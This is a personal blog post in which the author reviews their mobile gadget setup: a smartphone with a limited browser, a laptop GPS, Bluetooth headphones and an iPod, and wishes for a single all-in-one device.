With that said I do need to say it could be a LOT better. I fail to understand why the current generation of "smartphones" don’t handle internet data well. I’m guessing that even though the future iPhone from Apple will be a step up, I’m skeptical that it will really offer better integration with the current web technologies. What I want is a full browser, as powerful as FireFox or IE, with full Javascript support. Whats the issue? These "phones" are already costing us between $300-700 and don’t nearly offer the performance to price ratio you’d expect. It’s more like a size to price ratio.

Unfortunately my GPS is tied to my laptop. I use the GPS when I need to go out on service calls or traveling. I get lost, all the time. I also hate fumbling with paper maps while I’m driving. So having a GPS when I’m going to a new place comes in handy. Being able to save my route, calculate/track gas expenses is also great. As big a fan of gadgets as I am, I’m still not a fan of any of the smaller hand held GPS systems. I find the user interface on most of those devices to be cumbersome. I have considered getting a tiny pocket bluetooth GPS for my Treo 700w, but I can find my way when I’m on foot. To conserve battery on my notebook while I’m using the GPS system, I have a AC/DC converter box that I plug into my cigarette lighter. The laptop rides on the passenger seat. I use Microsoft Streets & Trips to navigate. It works well enough for what I do.

I love the IDEA behind the bluetooth headphones, but in practice its doesn’t quite work right ALL the time. But the concept is that I can connect the headphones to multiple devices, including the laptop and cell phone, at the same time. I work in public spaces where lots of noise can be distracting. If it gets too hard to concentrate I can listen to audio from my laptop, when a phone call comes in on my cell the headphones switch from the computer to the phone. That part works most of the time when I can get the headphones to connect to everything properly. I’m all for wireless solutions to problems (headphones, mice, internet, etc…) because it makes you more mobile. The fewer the wires, the more mobile you can be with your data.

The iPod is fun…but I never use it anymore. Now that I can stream my collection of media to almost any internet device, I dont really need the iPod. About the only time I use the iPod anymore is on long car trips or while flying. I haven’t used my iPod in quite a while.

The Future:

I’ll tell ya what I’d rather have. One device no larger than a small paperback book, light weight, always ON Internet for reasonable prices, LONG battery life (we are talking more than 10 hours at full usage), Voice calls while also using high speed internet, high resolution camera / digital camcorder, modern OS (windows, osx, linux whatever), and it all works. But as usual thats asking too much. The OQO looks really nice, but doesn’t have the battery life. Maybe another 5+ years before a device like that would be a viable solution for the average consumer. Technology is moving fast, but in some cases not fast enough. Being an early adopter has its ups and downs.

I will continue to update and discuss about how I use technology in the future. Until then, Peace.